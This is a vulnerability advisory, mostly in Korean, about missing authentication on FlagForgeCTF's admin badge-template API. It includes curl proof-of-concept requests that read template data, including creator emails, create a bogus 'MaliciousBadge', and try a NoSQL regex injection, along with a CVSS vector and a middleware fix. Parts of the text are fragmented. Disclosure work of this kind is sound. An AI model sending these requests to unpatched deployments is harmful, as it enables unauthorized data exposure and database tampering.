
CVE on FlagForgeCTF on versions v2.0.0 to v2.3.1. Upgraded to version 2.3.2 to fix the issue.
Flagforge 애플리케이션(https://flagforge.xyz)은 관리자 API 엔드포인트, 특히 /api/admin/badge-templates(GET) 및 /api/admin/badge-templates/create(POST)에서 심각한 취약점을 노출합니다. 두 엔드포인트 모두 인증 및 권한 부여 제어가 없어 인증되지 않은 사용자가 민감한 배지 템플릿 데이터를 검색하고 MongoDB 데이터베이스에 임의의 템플릿을 생성할 수 있습니다. 이로 인해 무단 데이터 노출, 데이터베이스 오염 또는 배지 시스템 남용(예: 악성 또는 스팸 템플릿 생성)이 발생할 수 있습니다.
/api/admin/badge-templates:
badgeTemplates 컬렉션에 저장된 모든 배지 템플릿의 JSON 배열을 반환합니다._id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, __v가 포함됩니다. x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name, description, icon, color, isActive, createdBy)로 새 배지 템플릿을 생성할 수 있습니다.name, description, icon의 존재 여부에 대한 최소한의 검증만 수행하며, 중복된 name이 없는지 확인합니다.const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri, [email protected]) 및 메타데이터를 노출하여 정찰 또는 피싱에 악용될 수 있습니다.?name[$ne]=test)를 지원하는 경우 취약할 수 있습니다.name 및 createdBy를 기록하므로 로그 스팸 또는 인젝션에 악용될 수 있습니다.AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates(GET) 및 /api/admin/badge-templates/create(POST).badgeTemplates 컬렉션.server: Vercel 헤더에서 추론).NextRequest/NextResponse 구문 기반으로 Next.js 13+로 추정).@/utlis/db 연결 유틸리티 사용), Next.js.createdBy) 및 메타데이터(createdAt, updatedAt) 노출로 사회공학 또는 표적 공격에 악용될 수 있습니다.민감 데이터 검색(GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy(예: [email protected])와 같은 민감한 필드를 포함한 모든 배지 템플릿의 JSON 목록을 반환합니다.무단 템플릿 생성(POST) 및 템플릿 제거(DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates 컬렉션에 새 템플릿을 생성합니다.잠재적 NoSQL 인젝션(GET, 쿼리 매개변수가 지원되는 경우):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// POST 엔드포인트용 미들웨어 예시
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // verifyToken 구현
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... 기존 코드 ...
}
createdBy 제외).